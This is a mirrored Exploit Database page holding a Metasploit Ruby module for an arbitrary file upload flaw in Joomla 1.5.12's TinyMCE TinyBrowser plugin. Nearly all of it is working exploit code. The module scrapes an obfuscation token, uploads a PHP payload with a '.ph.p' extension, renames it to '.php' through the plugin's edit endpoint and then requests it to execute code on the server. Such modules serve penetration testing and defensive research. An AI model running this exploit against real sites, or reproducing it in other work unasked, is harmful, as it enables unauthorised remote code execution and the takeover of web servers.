Joomla! Plugin tinybrowser 1.5.12 – Arbitrary File Upload / Code Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16906/

• ##
  # $Id: joomla_tinybrowser.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',
  			'Description'=> %q{
  					This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
  				This plugin is not secured in version 1.5.12 of joomla and allows the upload
  				of files on the remote server.
  				By renaming the uploaded file this vulnerability can be used to upload/execute
  				code on the affected system.
  			},
  			'Author' => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					['OSVDB', '64578'],
  					['URL', 'http://milw0rm.com/exploits/9296'],
  					['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  					'Space' => 1024,
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Jul 22 2009',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "Joomla directory path", "/"]),
  				], self.class)
  	end
  
  	def check
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
  		res = send_request_raw(
  			{
  				'uri' => uri
  			}, 25)
  
  		if (res and res.body =~ /flexupload.swf/)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  
  	def retrieve_obfuscation()
  
  	end
  
  
  	def exploit
  
  		cmd_php = '<?php ' + payload.encoded + '?>'
  
  		# Generate some random strings
  		cmdscript	= rand_text_alpha_lower(20)
  		boundary= rand_text_alphanumeric(6)
  
  		# Static files
  		directory 	= '/images/stories/'
  		uri_base= ''
  		uri_base << datastore['URI']
  		uri_base << '/' if uri_base[-1,1] != '/'
  		uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'
  
  		# Get obfuscation code (needed to upload files)
  		obfuscation_code = nil
  
  		res = send_request_raw({
  			'uri' => uri_base + '/upload.php?type=file&folder='
  		}, 25)
  
  		if (res)
  
  			if(res.body =~ /"obfus", "((\w)+)"\)/)
  				obfuscation_code = $1
  				print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
  			else
  				print_error("Error retrieving obfuscation code!")
  				return
  			end
  		end
  
  
  
  		# Upload shellcode (file ending .ph.p)
  		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
  		data << "#{cmdscript}.ph.p\r\n--#{boundary}"
  		data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
  		data << "Content-Type: application/octet-stream\r\n\r\n"
  		data << cmd_php
  		data << "\r\n--#{boundary}--"
  
  		res = send_request_raw({
  			'uri'	=> uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
  			'method'=> 'POST',
  			'data'=> data,
  			'headers' =>
  			{
  				'Content-Length' => data.length,
  				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
  			}
  		}, 25)
  
  		if (res and res.body =~ /File Upload Success/)
  			print_status("Successfully uploaded #{cmdscript}.ph.p")
  		else
  			print_error("Error uploading #{cmdscript}.ph.p")
  		end
  
  
  		# Complete the upload process (rename file)
  		print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
  		res = send_request_raw({
  			'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
  		})
  
  
  		# Rename the file from .ph.p to .php
  		res = send_request_cgi(
  			{
  				'method'=> 'POST',
  				'uri' => uri_base + '/edit.php?type=file&folder=',
  				'vars_post' =>
  				{
  					'actionfile[0]' => "#{cmdscript}.ph.p",
  					'renameext[0]' => 'p',
  					'renamefile[0]' => "#{cmdscript}.ph",
  					'sortby' => 'name',
  					'sorttype' => 'asc',
  					'showpage' => '0',
  					'action' => 'rename',
  					'commit' => '',
  				}
  			}, 10)
  
  		if (res and res.body =~ /successfully renamed./)
  			print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
  		else
  			print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
  		end
  
  
  		# Finally call the payload
  		print_status("Calling payload: #{cmdscript}.php")
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << directory + cmdscript + ".php"
  		res = send_request_raw({
  			'uri'	=> uri
  		}, 25)
  
  	end
  
  end